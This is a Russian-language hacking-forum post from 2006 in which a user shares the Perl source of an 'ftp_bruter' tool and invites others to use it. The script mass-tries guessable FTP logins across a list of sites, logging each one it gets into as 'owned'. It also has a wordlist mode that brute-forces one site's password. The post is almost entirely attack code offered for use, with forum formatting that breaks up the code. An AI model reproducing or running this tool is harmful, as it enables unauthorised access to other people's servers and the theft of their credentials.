Показать сообщение отдельно

  #9  
Старый 25.11.2006, 17:09
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

PHP код:
#!perl -w

use strict;
use 
Net::FTP;
use 
threads;

print 
"\n# $0\n# (C)oded by .:[KSURi]:.\n";

print 
"Enable OneSiteMode? [0/1] ";
my $answer=<STDIN>;
chomp($answer);
if(
$answer==1)
{
    
$SIG{INT}=sub { print "\n[i] \$SIG{INT} hooked!"; exit(0); };
    
my $oneSiteMode=<STDIN>,my $oneSiteUser=<STDIN>,my $wordlist=<STDIN>;      
    print 
"\n[i] Bruting ".$oneSiteMode." ...\n";
    
oneSiteBrute($oneSiteMode,$oneSiteUser,$wordlist);
    exit(
0);
}

my $in="sites.txt";
my $out="owned.txt";
my $sign="sign.dat";
my $timeout=20;
my $i=0;
my @threads=();
open(IN,$in) or exit print "\n[-] Cannot open $in\n";
my @sites=<IN>;
close IN;
open(SIGN,">>$sign");

$SIG{INT}=sub
{
    
undef @threads;
    print 
"\n[i] ".$i." FTP servers owned\n";
    exit(
0);
};

for(
my $thrCtr=0;$thrCtr<=$#sites;$thrCtr++)
{
    if(
$thrCtr==int($#sites/4)||$thrCtr==int($#sites/3)||$thrCtr==int($#sites/2))
    
{
        print 
"\n\n[~] No new new threads for ".$timeout." secs\n";
        
sleep($timeout);
        print 
"\n[~] Starting new threads\n\n";
    }
    
$threads[$thrCtr]=threads->new(\&try,$sites[$thrCtr]);
    
$threads[$thrCtr]->detach();
}

while(-
s $sign!=$#threads) { sleep(1) }
close SIGN;
unlink $sign;
undef @threads;
    
sub try
{
    
my $site=shift;
    
chomp($site);
    print 
$site."... ";
    if(
my $conn=Net::FTP->new($siteDebug=>0))
    {
        
my($string,undef)=split('\.',$site);
        if(
$conn->login($string,$string))
        {
            
open(OUT,">>$out") or print "OK (Not logged)\n";
            print 
OUT $site."\:".$string."\:".$string."\n";
            
close OUT;
            print 
"OK\n";
            
$i++;
            
undef $conn;
        }
        
elsif($conn->login(reverse($string),reverse($string)))
        {
            
open(OUT,">>$out") or print "OK (Not logged)\n";
            print 
OUT $site."\:".$string."\:".$string."\n";
            
close OUT;
            print 
"OK\n";
            
$i++;
            
undef $conn;
        }
        else
        {
            print 
"FAILED\n";
            
undef $conn;
        }
    }
    else
    {
        print 
"FAILED\n";
        
undef $conn;
    }
    print 
SIGN "x";
}

sub oneSiteBrute
{
    
my($site,$user,$wordlist)=@_;
    
open(WORDS,$wordlist) or exit print "\n[-] Cannot open wordlist [".$wordlist."]\n";
    while(<
WORDS>)
    {
        
my $conn=Net::FTP->new($site,Debug=>0) or exit print "\n[-] Cannot connect to".$site."\n";# if(!$conn);
        
if($conn->login($user,chomp($_)))
        {
            print 
"\n[+] PASSWORD FOUND: ".$_."\n";
        }
    }
    
close WORDS;
}

# ftp_bruter v2.5.pl
# (C)oded by .:[KSURi]:. 
Вот мой старый сорец - пользуйся. Только советую его подредактировать тк код не рационален(
 
Ответить с цитированием